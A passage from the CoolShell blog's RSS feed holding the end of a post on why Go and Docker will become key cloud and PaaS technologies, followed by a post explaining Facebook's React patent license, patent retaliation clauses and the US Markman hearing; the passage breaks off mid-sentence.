Docker，而且还有这么多人在为 Docker 做贡献，这让他们感到非常意外。此外，还跟我说，中国是除了美国本土之外的另一个如此喜欢 Docker 技术的国家，在其它国家都没有看到。</p>\n<p>的确如他们所说，Go 语言和 Docker 这两种技术已经成为新一代的云计算技术，而且可以看到其发展态势非常迅猛。而中国也成为了像美国一样在强力推动这两种技术的国家。这的确是一件让人感到非常高兴的事，因为中国在跟随时代潮流这件事上已经做得非常不错了。</p>\n<p>然而，从 2014-2015 年我在阿里推动 Docker 和 Go 语言的痛苦和失败过程中，以及这许多年来，有很多很多人问我是否要学 Go 语言，是否要学 Docker，Go 和 Docker 是否能用在生产线上，这些问题看来，对于 Go 语言和 Docker 这两种技术，在国内的技术圈中有相当大的一部分人和群体还在执观望或是不信任的态度。</p>\n<p>所以，我想写这篇文章，从两个方面来论述一下我的观点和看法。</p>\n<ul class=\"list-paddingleft-2\">\n<li>一个方面，为什么 Go 语言和 Docker 会是新一代的云计算技术。</li>\n<li>另一个方面，作为技术人员，我们如何识别什么样的新技术会是未来的趋势。</li>\n</ul>\n<p>这两个问题是相辅相成的，所以我会把这两个问题揉在一起谈。</p>\n<p><span id=\"more-18190\"></span></p>\n<p>虽然 Go 语言是在 2009 年底开源的，但我是从 2012 年才开始接触和学习 Go 语言的。我只花了一个周末两天的时间就学完了，而且在这两天，我还很快地写出了一个能工作很好的网页爬虫程序，以及一个简单的高并发文件处理服务，用于提取前面抓取的网页的关键内容。这两个程序都很简单，总共才写了不到 500 行代码。</p>\n<p>我当时对 Go 语言有几点体会。</p>\n<p><strong>第一，语言简单，上手快。</strong>Go 语言的语法特性简直是太简单了，简单到你几乎玩不出什么花招，直来直去的，学习曲线很低，上手非常快。</p>\n<p><strong>第二，并行和异步编程几乎无痛点。</strong>Go 语言的 Goroutine 和 Channel 这两个神器简直就是并发和异步编程的巨大福音。像 C、C++、Java、Python 和 JavaScript 这些语言的并发和异步方式太控制就比较复杂了，而且容易出错，而 Go 解决这个问题非常地优雅和流畅。这对于编程多年受尽并发和异步折磨的我来说，完全就是让我眼前一亮的感觉。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter \" src=\"https://coolshell.cn/wp-content/uploads/2017/10/golang.01.png\" alt=\"\" width=\"664\" height=\"403\" /></p>\n<p style=\"text-align: center;\">（图片来自 Medium：<a href=\"https://medium.com/@kevalpatel2106/why-should-you-learn-go-f607681fad65\" target=\"_blank\" rel=\"noopener noreferrer\">Why should you learn Go?</a>）</p>\n<p><strong>第三，Go 语言的 lib 库麻雀虽小五脏俱全。</strong>Go 语言的 lib 库中基本上有绝大多数常用的库，虽然有些库还不是很好，但我觉得不是问题，因为我相信在未来的发展中会把这些问题解决掉。</p>\n<p><strong>第四，C 语言的理念和 Python 的姿态。</strong>C 语言的理念是信任程序员，保持语言的小巧，不屏蔽底层且底层友好，关注语言的执行效率和性能。而 Python 的姿态是用尽量少的代码完成尽量多的事。于是我能够感觉到，Go 语言想要把 C 和 Python 统一起来，这是多棒的一件事啊。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter \" src=\"https://coolshell.cn/wp-content/uploads/2017/10/golang.02.png\" alt=\"\" width=\"662\" height=\"400\" /></p>\n<p style=\"text-align: center;\">（图片来自 Medium：<a href=\"https://medium.com/@kevalpatel2106/why-should-you-learn-go-f607681fad65\" target=\"_blank\" rel=\"noopener noreferrer\">Why should you learn Go?</a>）</p>\n<p>所以，即便 Go 语言存在诸多的问题，比如垃圾回收、异常处理、泛型编程等，但相较于上面这几个优势，我认为这些问题都是些小问题。于是就毫不犹豫地入坑了。</p>\n<p>当然，一个技术能不能发展起来，关键还要看三点。</p>\n<ul class=\"list-paddingleft-2\">\n<li><strong>有没有一个比较好的社区。</strong>像 C、C++、Java、Python 和 JavaScript 的生态圈都是非常丰富和火爆的。尤其是有很多商业机构参与的社区那就更为人气爆棚了，比如 Linux 的社区。</li>\n<li><strong>有没有一个工业化的标准。</strong>像 C、C++、Java 都是有标准化组织的。尤其是 Java，其在架构上还搞出了像 J2EE 这样的企业级标准。</li>\n<li><strong>有没有一个或多个杀手级应用。</strong>C、C++ 和 Java 的杀手级应用不用多说了，就算是对于 PHP 这样还不能算是一个好的编程语言来说，因为是 Linux 时代的第一个杀手级解决方案 LAMP 中的关键技术，所以，也发展起来了。</li>\n</ul>\n<p>上述的这三点是非常关键的，新的技术只需要占到其中一到两点就已经很不错了，何况有的技术，比如 Java，是三点全占到了，所以，Java 的发展是如此好。当然，除了上面这三点重要的，还有一些其它的影响因素，比如：</p>\n<ul class=\"list-paddingleft-2\">\n<li><strong>学习曲线是否低，上手是否快。</strong>这点非常重要，C++ 在这点上越做越不好了。</li>\n<li><strong>有没有一个不错的提高开发效率的开发框架。</strong>如：Java 的 Spring 框架，C++ 的 STL 等。</li>\n<li><strong>是否有一个或多个巨型的技术公司作为后盾。</strong>如：Java 和 Linux 后面的 IBM、Sun……</li>\n<li><strong>有没有解决软件开发中的痛点。</strong>如：Java 解决了 C 和 C++ 的内存管理问题。</li>\n</ul>\n<p>用这些标尺来量一下 Go 语言，我们可以清楚地看到：</p>\n<ul class=\"list-paddingleft-2\">\n<li>Go 语言容易上手；</li>\n<li>Go 语言解决了并发编程和写底层应用开发效率的痛点；</li>\n<li>Go 语言有 Google 这个世界一流的技术公司在后面；</li>\n<li>Go 语言的杀手级应用是 Docker，而 Docker 的生态圈在这几年完全爆棚了。</li>\n</ul>\n<p>所以，Go 语言的未来是不可限量的。当然，我个人觉得，Go 可能会吞食很多 C、C++、Java 的项目。不过，Go 语言所吞食主要的项目应该是中间层的项目，既不是非常底层也不会是业务层。</p>\n<p>也就是说，Go 语言不会吞食底层到 C 和 C++ 那个级别的，也不会吞食到高层如 Java 业务层的项目。Go 语言能吞食的一定是 PaaS 上的项目，比如一些消息缓存中间件、服务发现、服务代理、控制系统、Agent、日志收集等等，没有复杂的业务场景，也到不了特别底层（如操作系统）的中间平台层的软件项目或工具。而 C 和 C++ 会被打到更底层，Java 会被打到更上层的业务层。这是我的一个判断。</p>\n<p>好了，我们再用上面的标尺来量一下 Go 语言的杀手级应用 Docker，你会发现基本是一样的。</p>\n<ul class=\"list-paddingleft-2\">\n<li>Docker 上手很容易。</li>\n<li>Docker 解决了运维中的环境问题以及服务调度的痛点。</li>\n<li>Docker 的生态圈中有大公司在后面助力。比如 Google。</li>\n<li>Docker 产出了工业界标准 OCI。</li>\n<li>Docker 的社区和生态圈已经出现像 Java 和 Linux 那样的态势。</li>\n<li>……</li>\n</ul>\n<p>所以，早在 3、4 年前我就觉得 Docker 一定会是未来的技术。虽然当时的坑儿还很多，但是，相对于这些大的因素来说，那些小坑儿都不是问题。只是需要一些时间，这些小坑儿在未来 5-10 年就可以完全被填平了。</p>\n<p>同样，我们可以看到 Kubernetes 作为服务和容器调度的关键技术一定会是最后的赢家。这点我在去年初就能够很明显地感觉到了。</p>\n<p>关于 Docker 我还想多说几句，这是云计算中 PaaS 的关键技术，虽然，这世上在出现 Docker 之前，几乎所有的要玩公有 PaaS 的公司和产品都玩不起来，比如：Google 的 GAE，国内的各种 XAE，如淘宝的 TAE，新浪的 SAE 等。但我还是想说，<strong>PaaS 是一个被世界或是被产业界严重低估的平台。</strong></p>\n<p><strong>PaaS 层是承上启下的关键技术，任何一个不重视 PaaS 的公司，其技术架构都不可能让这家公司成长为一个大型的公司</strong>。因为 PaaS 层的技术主要能解决下面这些问题。</p>\n<ul class=\"list-paddingleft-2\">\n<li><strong>软件生产线的问题。</strong>持续集成和持续发布，以及 DevOps 中的技术必需通过 PaaS。</li>\n<li><strong>分布式服务化的问题。</strong>分布式服务化的服务高可用、服务编排、服务调度、服务发现、服务路由，以及分布式服务化的支撑技术完全是 PaaS 的菜。</li>\n<li><strong>提高服务的可用性 SLA。</strong>提高服务可用性 SLA 所需要的分布式、高可用的技术架构和运维工具，也是 PaaS 层提供的。</li>\n<li><strong>软件能力的复用。</strong>软件工程中的核心就是软件能力的复用，这一点也完美地体现在 PaaS 平台的技术上。</li>\n</ul>\n<p>老实说，这些问题的关键程度已经到了能判断一家依托技术的公司的研发能力是否靠谱的程度。没有这些技术，依托技术拓展业务的公司几乎没有可能发展得规模很大。</p>\n<p>在后面，我会在“<a href=\"https://time.geekbang.org/\" target=\"_blank\" rel=\"noopener noreferrer\">极客时间</a>”<a href=\"https://time.geekbang.org/column/intro/48\" target=\"_blank\" rel=\"noopener noreferrer\">我的付费专栏</a>里另外写几篇文章详细地讲一下分布式服务化和 PaaS 平台的重要程度。</p>\n<p>最后，我还要说一下，为什么要早一点地进入这些新技术，而不是等待这些技术成熟了后再进入。原因有这么几个。</p>\n<blockquote><p>技术的发展过程非常重要。我进入 Go 和 Docker 的技术不能算早，但也不算晚，从 2012 年学习 Go，到 2013 年学习 Docker 到今天，我清楚地看到了这两种技术的生态圈发展过程。让我收获最大的并不是这些技术本身，而是一个技术的变迁和行业的发展。</p></blockquote>\n<p>从中，我看到了非常具体的各种思潮和思路，这些东西比起 Go 和 Docker 来说更有价值。因为，这不但让我重新思考我已掌握的技术以及如何更好地解决已有的问题，而且还让我看到了未来。我不但有了技术优势，而且这些知识还让我的技术生涯多了很多的可能性。</p>\n<blockquote><p>这些关键新技术，可以让你拿到技术的先机。这些对一个需要技术领导力的个人或公司来说都是非常重要的。</p></blockquote>\n<p>一个公司或是个人能够占有技术先机，就会比其它公司或个人有更大的影响力。一旦未来行业需求引爆，那么这个公司或是个人的影响力就会形成一个比较大的护城河，并可以快速地产生经济利益。</p>\n<p>近期，在与中国移动、中国电信以及一些股份制银行进行交流的过程中，我已看到通讯行业、金融行业对于 PaaS 平台的理解已经超过了互联网公司，而我近 3 年来在这些技术上的研究让我也从中受益非浅。</p>\n<p>所以，Go 语和 Docker 作为 PaaS 平台的关键技术前途是无限的，我很庆幸赶上了这个浪潮，也很庆幸在 3 年前我就看到了这个趋势，现在我也在用这些技术开发相关的技术产品，助力于为高速成长的公司提供这些关键技术。</p>\n<p>&nbsp;</p>\n<p><strong>最后注明一下：</strong></p>\n<p><strong>这篇文章于上周发布于<a href=\"https://time.geekbang.org/column/intro/48\" target=\"_blank\" rel=\"noopener noreferrer\">“极客时间”的我的付费专栏</a>中。极客时间中的付费是我受Geekbang邀请写的一个付费专栏，因为过去10多年给企业有过很多内训，过去2年又给好多企业做过一些咨询工作，所以，我会把一些商业化的内容写在极客时间里，当然，也会有一些我的新文章。关于这个事，我后面我专门开一篇文章说一下。（大家可以到 Apple的App Store上搜极客时间，Android版本等到12月初吧）<br />\n</strong></p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/21615.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/09/go-generics-150x150.png\" alt=\"Go编程模式 ： 泛型编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21615.html\" class=\"wp_rp_title\">Go编程模式 ： 泛型编程</a></li><li ><a href=\"https://coolshell.cn/articles/21263.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.k8s-150x150.png\" alt=\"Go 编程模式：k8s Visitor 模式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21263.html\" class=\"wp_rp_title\">Go 编程模式：k8s Visitor 模式</a></li><li ><a href=\"https://coolshell.cn/articles/21228.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.line_.-150x150.png\" alt=\"Go编程模式：Pipeline\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21228.html\" class=\"wp_rp_title\">Go编程模式：Pipeline</a></li><li ><a href=\"https://coolshell.cn/articles/21214.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.pair_-150x150.png\" alt=\"Go编程模式：委托和反转控制\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21214.html\" class=\"wp_rp_title\">Go编程模式：委托和反转控制</a></li><li ><a href=\"https://coolshell.cn/articles/21179.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.generate-150x150.png\" alt=\"Go 编程模式：Go Generation\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21179.html\" class=\"wp_rp_title\">Go 编程模式：Go Generation</a></li><li ><a href=\"https://coolshell.cn/articles/21164.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.map_.reduce-150x150.png\" alt=\"Go编程模式：Map-Reduce\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21164.html\" class=\"wp_rp_title\">Go编程模式：Map-Reduce</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/18190.html\">Go语言、Docker 和新技术</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/18190.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>70</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>关于Facebook 的 React 专利许可证</title>\n\t\t<link>https://coolshell.cn/articles/18140.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/18140.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 19 Sep 2017 06:08:00 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[业界新闻]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[Facebook]]></category>\n\t\t<category><![CDATA[React]]></category>\n\t\t<guid isPermaLink=\"false\">https://coolshell.cn/?p=18140</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>随着Apache、百度、Wordpress都在和Facebook的React.js以及其专利许可证划清界限，似乎大家又在讨论Facebook的这个BSD+PAT...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/18140.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/18140.html\">关于Facebook 的 React 专利许可证</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-sup_wechat_big\" src=\"https://coolshell.cn/wp-content/uploads/2017/09/react_patent-360x200.jpg\" alt=\"\" width=\"360\" height=\"200\" />随着Apache、百度、Wordpress都在和Facebook的React.js以及其专利许可证划清界限，似乎大家又在讨论Facebook的这个BSD+PATENT的许可证问题了。这让我想起了之前在Medium读过的一篇文章——《<a href=\"https://medium.com/@dwalsh.sdlr/react-facebook-and-the-revokable-patent-license-why-its-a-paper-25c40c50b562\" target=\"_blank\" rel=\"noopener noreferrer\">React, Facebook, and the Revocable Patent License, Why It&#8217;s a Paper</a>》，我觉得那篇文章写的不错，而且还是一个会编程的律师写的，所以有必要把这篇文章传播到中文社区这边来。注意，我不会全部翻译，我只是用我的语言来负责搬运内容和观点，我只想通过这篇文章让大家了解一下这个世界以及专利相关的知识，这样可以避免你看到某乎的“怎么看待XXX”这类的问题时人云亦云，能有自己的独立思考和自我判断。;-)</p>\n<p>这篇文章的作者叫Dennis Walsh，他自称是亚历桑那和加利福尼亚州的律师，主要针对版权法和专利诉论的法律领域。但是这个律师不一样，他更很喜欢商业和软件多一些。现在他用React/GraphQL/Elixir在写一个汽车代理销售相关的软件，而且已经发布到第2版了。</p>\n<p>首先，作者表明，专利法经常被人误解，因为其实充满了各种晦涩难懂的法律术语，所以，作者用个例子来讲述专利的一个原则 —— <strong>专利并不是授于让你制造或开发的权利，而是授予你可以排他的权利。（</strong>事实上似乎也是这样，申请专利很多时候都不是为了制作相关的产品，而是为了防止别人使用类似的技术制作相关的产品）</p>\n<p><span id=\"more-18140\"></span></p>\n<p>如果有公司X为铅笔申请了专利，而另一家公司Y为把用于铅笔的橡皮擦申请了专利。那么，公司X可以阻止公司Y来生产铅笔，而对带橡皮擦的铅笔没办法，但是公司Y的专利可以让公司X不能生产带有橡皮擦的铅笔。</p>\n<p>所以，公司Y的橡皮擦专利又被广泛地叫作“<a href=\"https://definitions.uslegal.com/b/blocking-patent/\" target=\"_blank\" rel=\"noopener noreferrer\">Blocking Patent</a>”。公司Y不能说他发明了铅笔，因为这是公司X的专利，但是，他们可以让公司X无法对铅笔做出某些改进。</p>\n<p>于是，因为这种 Blocking Patent 存在，对于开源的公司是不利的，因为根据上面的那个例子来说，开源公司就是公司X，他们做了一个基础的软件，而公司Y在上面做了些改进，并注册成了专利，从而导致开源的公司X无法对它基础开源软件作出被公司Y专利阻止的改进，开源的公司X希望能够自由地使用公司Y的橡皮擦专利，因为毕竟是它发明了铅笔并放弃了铅笔的专利。</p>\n<p>于是就出来了“专利反击条款”（<a href=\"https://en.wikipedia.org/wiki/Software_patents_and_free_software#Patent_retaliation\" target=\"_blank\" rel=\"noopener noreferrer\">Patent Retaliation Clauses</a>）。一般来说有两种专利条款，一种是弱条款，一种是强条款。</p>\n<p>Weak Patent Retaliation Clauses &#8211; 这种条款声明，如果许可证持有者用某个专利来打击许可证颁布者，那么专利就视为终止。用人话来表达就是，公司X做了一个开源铅笔，而公司Y注册了橡皮檫专利。此时，公司X做了一支带像皮擦的铅笔，而公司Y马上对公司X提起专利侵权诉讼。那么，公司Y就失去了对底层铅笔的专利控制。（正如前面所说的，公司Y的橡皮擦专利因为在起诉公司X的开源铅笔，而失去了对开源铅笔的专利排他权利）</p>\n<p>Strong Patent Retailiation Clauses &#8211; 这种条款声明比“弱条款”要的更多。具体来说就是，任何专利声明终结许可证，而不管这个专利有没有和你基础的软件有关系。用人话来说就是，公司Y使用他们的热气球专利来起诉公司X，那么公司Y就失去了他们对铅笔的专利限制。</p>\n<p>我个人理解起来，这两种条款看上去是防御性质的。</p>\n<p>Facebook的React的Patent License如下：</p>\n<blockquote><p>The license granted hereunder will terminate, automatically and without notice,if you (or any of your subsidiaries, corporate affiliates or agents) initiatedirectly or indirectly, or take a direct financial interest in, any Patent Assertion: (i) against Facebook or any of its subsidiaries or corporateaffiliates, (ii) against any party if such Patent Assertion arises in whole orin part from any software, technology, product or service of Facebook or any ofits subsidiaries or corporate affiliates, or (iii) against any party relating to the Software. Notwithstanding the foregoing, if Facebook or any of itssubsidiaries or corporate affiliates files a lawsuit alleging patentinfringement against you in the first instance, and you respond by filing apatent infringement counterclaim in that lawsuit against that party that isunrelated to the Software, the license granted hereunder will not terminateunder section (i) of this paragraph due to such counterclaim.</p></blockquote>\n<p>这些条款中和基础软件没有任何关系，所以，<strong>这个条款是“强专利反击条款”</strong>。</p>\n<p>在后面，本文的作者又解解释了，为什么React的“强专利反击条款”就跟没有似的。他在文中针对一些歇斯底里的言论，如：“Facebook不用害怕专利诉讼了，而且他可以随时偷袭你家的专利仓库”，也作出了一些解释来分析这个事。</p>\n<p>Contractural Liability &#8211; 意思是说，专利方面的东西只会影响专利上的事，而不会影响和专利无关的事，React底层协议是BSD-3许可证还是会被保留。换句话说，React的“强专利反击条款”只生效于专利层面，而不会对非常专利的软件使用产生问题，如果和专利无关，React还是走BSD-3的许可协议。</p>\n<p>Copyright Liability &#8211; 这个和Contractural Liablitity 一样。作者说，如果有人有特别的案例或是有说服力的论据来说明Facebook的这个条款会作用于非专利的地方，那么，请告诉他。</p>\n<p>Patent Liability &#8211; 专利的责任和损害是两件事，非专业人士总是会把其搞混。</p>\n<p>第一个问题是Liability， 要搞清这个事，得搞清“Patent&#8217;s Claims”，而不是这个技术的技术规格说明，技术规格说明和权力主张是两码事。作者说，现在的很多专利都是一些想法，很多投机份子随便一拍脑袋就发明出一个想法，然后就去注册专利了。但是可以被用来法律执行的只有“Patent&#8217;s Claims”（专利的权利主张），而不是那些想法。这些权利主张相当相当的晦涩难读，而且是会故意被模糊掉的，因为，当你清楚的定义了你的发明是什么，那么，就可以清楚的定义出来什么不是你的发明。比如：一个铅笔专利权利主张里说，“这一个用石墨和木头组合起来的写字工具”，那么，只要我不用木头和石墨来做组合，而是用塑料来做组合，那么我就不是专利侵权。所以，一般来说，专利主张是会更为通用一些，比如，“这是一个用于涂画表面的装置，其包括：与涂画端相连的握持端”。作者这里给了一个<a href=\"https://www.google.com/patents/US8046721\" target=\"_blank\" rel=\"noopener noreferrer\">苹果公司的滑动解锁专利</a>的示例。可以感受一下产品规格说明和专利权利主张完全是两码事。</p>\n<p>专利这些事，在法律界里是非常非常困难作出评估的。所以，这个社会每年都会给律师们几十亿美金来一遍又一遍地回答这些问题，而且律师还经常回答错了。而对于美国的法律，对于专利诉讼会有一个叫<a href=\"https://en.wikipedia.org/wiki/Markman_hearing\" target=\"_blank\" rel=\"noopener noreferrer\">Markman hearing的审前听证会</a>（马克曼听证会），自从1996年美国最高法的“<a href=\"https://en.wikipedia.org/wiki/Markman_v._Westview_Instruments,_Inc.\" target=\"_blank\" rel=\"noopener noreferrer\">马克曼诉威斯幽仪器公司案</a>”这个听证会就变成了一个惯例，美国联邦法院用这个听证会来向决定专利权利主张的解释，而且，上诉法院还经常性的推翻审判法院的裁决。（对于美国法律来说，一般是法官认证法律，陪审团认定事实，然而，对于专利而言，1996年的那个案件认为专利术语是一个需要法官决定的法律问题，而不是陪审团决定的事实问题。关于马克曼听证会的事，可以参看本文未尾的附录）</p>\n<p>所以，要决定Facebook的专利责任，我们需要评估Facebook的专利及其权利主张，而不是技术规格说明。具体来说，要明确Facebook对于React这个底层技术的专利权利主张是什么？但是作者搜了一下，发现什么也没有找到。也就是说，对于USPTO（美国专利商标局）或法院来说，他们没办法对Facebook的这样没有为React申请专利的方式来执行任何和专利的诉讼，也就是说，Facebook的这个React License的条款，美国政府是无法在法律上支持的。</p>\n<p>第二个问题是专利损害。就算是Facebook可以评估出来一个合法可执行的专利来保护React，对于专利损害也是很有问题的。作者说他到目前还没有发现一个开源软件被专利侵权的事，就算有这样的案例，也不会是这里说的这个事。作者觉得在这个事上操作起来就是一个笑话。</p>\n<p>另外，作者认为，React 专利许可证这个事就是个纸老虎。因为，一方面，这个专利不像电信通讯里的那些专利，你拿不掉。作者认为要从你的代码中把React去掉虽然难，但是也不是什么很难的事，另外，要打这样的专利官司，一般来说，在美国至少要花100-200万美金的费用才能发起诉讼，而要胜诉则需要需要200多万到2000万美金的费用，你觉得你要花多钱才能把React从你的代码库中剔除？肯定比这钱少。</p>\n<p>作者还认为，Facebook玩这个事虽然出发点不错，但是感觉并不聪明，从目前的情况看下来，就像他想咬你一口，但却没有牙。</p>\n<p>后面，作者还说了一下，转成别的框架会不会有问题？比如：你用Preact/Vue或是你自研的东西？作者说，未必，如果Facebook真的为React注册了专利，比如：React里的组件技术、虚拟DOM渲染技术等等。那么，你用Preact/Vue或是带这样技术的自研的框架，那么，从你使用的第一天就在侵犯Facebook的专利权了。然而，使用React反而不会有这么大的风险，因为Facebook让你免费的用React。作者说，用别的框架的法律风险比用其它替代品的风险更高。</p>\n<p>后面，作者也更新了一篇文章 《<a href=\"https://medium.com/@dwalsh.sdlr/using-graphql-why-facebook-now-owns-you-3182751028c9\" target=\"_blank\"  rel=\"noopener noreferrer\">Using GraphQL? Why Facebook Now Owns You</a>》，意思是，用React可能还好，但是用GraphQL就有问题了。因为找到了GraphQL的专利—— <a href=\"https://patents.google.com/patent/US9646028\" target=\"_blank\" rel=\"noopener noreferrer\">“Graph Query Logic”</a>。</p>\n<p>后来我查了一下，我发现，React也有个相关的专利—— “<a href=\"https://patents.google.com/patent/US9003278\" target=\"_blank\" rel=\"noopener noreferrer\">Efficient event delegation in browser scripts</a> ”，看上去和虚拟DOM渲染有关。Holy Shit!</p>\n<p>好了，用还是不用React我也不知道，总之，这个世界比较复杂，我只是想借这篇文章来学习一下法律上的相关东西，欢迎听到大家的观点。</p>\n<p>最后，请允许我调侃一下来结束本文——“不用担心React的许可证问题，因为前端不是一年半就用新的框架重写一次么？”哈哈。</p>\n<p><strong>更新：Facebook官方于20017年9月23日在其官方blog上发贴《<a href=\"https://code.facebook.com/posts/300798627056246/relicensing-react-jest-flow-and-immutable-js\" target=\"_blank\" rel=\"noopener noreferrer\">Relicensing React, Jest, Flow, and Immutable.js</a>》决定取消之前的带专利的许可证。</strong></p>\n<h4>延伸阅读</h4>\n<h5>马克曼听证会 &#8211; Markman Hearing</h5>\n<p>马克曼听证会的一些背景知识，下面的文字来源于《<a href=\"http://www.sipo.gov.cn/sipo2013/mtjj/2013/201303/t20130320_788543.html\" target=\"_blank\" rel=\"noopener noreferrer\">&#8220;马克曼听证&#8221;制度的由来及启示</a>》</p>\n<p>与美国专利诉讼的悠长历史相比，1996年才经美国最高法院确立的“马克曼听证”（Markman Hearing，也称为Claim Construction，即权利要求书的解释）无疑是一项年轻的制度。但由于几乎所有的专利侵权诉讼中都会遇到涉案专利权利要求书的解释这一核心问题，且因“马克曼听证”结果往往清楚地预示了案件结果，经“马克曼听证”获得有利结论的一方一旦据此向法庭提起不审即判的动议，专利侵权诉讼往往可就此快速了结，因此该制度的确立成为美国专利诉讼历史上的一件大事。</p>\n<p>“马克曼听证”制度的由来</p>\n<p>“马克曼听证”制度确立之前，在专利侵权诉讼中的权利要求书解释，通常交由陪审团在对案件事实进行裁决时一并做出，且并不会在诉讼文件上单独就陪审团这一问题的判断进行记录。1991年，马克曼（Markman）先生因认为其拥有的专利号为RE33054的“干洗衣物贮存及追踪控制装置”专利权被Westview公司所侵犯，遂向宾夕法尼亚州东区联邦地方法院提起了专利侵权诉讼。</p>\n<p>该专利是用扫描的方式，将客户的衣物编号扫描后输入电脑中做分类标示，并在衣物干洗过程中追踪衣物位置，干洗完成后自动将衣物放回客户固定的存贮位置。被告的产品则是同时运用扫描器和电脑两种方式，将客户干洗衣物的资料存入电脑并显示费用、日期等相关信息。本案陪审团的裁决认为被告装置构成对原告专利权利的侵犯，但该地方法院认为系争专利与被告装置在功能实施上并不一致，遂推翻陪审团的裁决，判决被告不构成侵权。</p>\n<p>马克曼不服，于1995年向联邦上诉法院提起上诉，但其上诉理由仅为联邦地方法院错误地解释了陪审团关于专利权利要求书解释中某个词语的涵义。联邦上诉法院在审理该案时，将案件的核心问题定为两个：一是原告对于请求项解释有无权利请求陪审团裁决;二是联邦地方法院是否正确地解释了“Inventory”一词。该院多数法官经审理后认为，权利要求书范围的解释与确定，属于法律问题而非事实问题，因而属于法院权限，而不应交由陪审团决定，且此前将此问题交由陪审团确定并不妥当。同时，由于认为原告专利与被告装置存在实质功能上的差异，联邦上诉法院亦不认为被告构成专利侵权。少数持不同意见的该院法官主要是质疑这一结论违反了美国第七宪法修正案（即所有根据美国法律进行的普通法诉讼，只要争议金额超过20美元，即有要求陪审团审判的权利）。</p>\n<p>马克曼不服，向最高法院提出上诉。1996年4月23日，美国最高法院就马克曼诉Westview器械公司案（Markman v. Westview Instruments, Inc. 517 U.S. 370 （1996））做出终审裁决，裁决认定：权利要求书的解释是联邦地区法院法官应当处理的法律问题，而不是应当由陪审团来认定的事实问题，尽管在解释权利要求书的过程中可能会包含一些对于事实问题的解释，且这样做并不违反第七修正案赋予给陪审团的权利。这一裁决标志着“马克曼听证”制度的正式确立。</p>\n<p>“马克曼听证”制度的不足</p>\n<p>该案判决是美国专利诉讼史上的一个重大转折。“马克曼听证”成为法官专门用于解释专利权利要求的一个经常性听证程序，用以解决专利侵权诉讼的核心问题。由于该听证并非普遍适用，因此，十几年来，联邦民事诉讼规则并未正式对其有任何规定，而是给予法院绝对的自由裁量权。但是，何时可以进行“马克曼听证”?如何进行?是否有必要进行?类似问题在一定程度上困扰了审理专利侵权案件较多的法院。</p>\n<p>2001年，加州北区联邦地区法院率先制定了供本法院使用的专利审判专属规则（Patent Local Rules），其中第四部分即为权利要求书的解释程序（Claim Construction Proceddings），对“马克曼听证”的时间、流程、限制及当事人的义务均进行了规定。此后，各州纷纷效仿。目前，乔治亚州北区联邦法院、得克萨斯州东区联邦法院、得克萨斯州南区联邦法院、宾夕法尼亚州西区联邦法院等都制订了书面的“马克曼听证”程序指南。近年来，不断有新的案例在解释与细化着“马克曼听证”，如2006年的Wilson Sporting Goods Co.诉Hillerich &amp; Bradsby Co.案，2005年的Phillips诉AWH Corp.案，2008年的Howmedica Osteonics Corp.诉Wright Medical Technology, 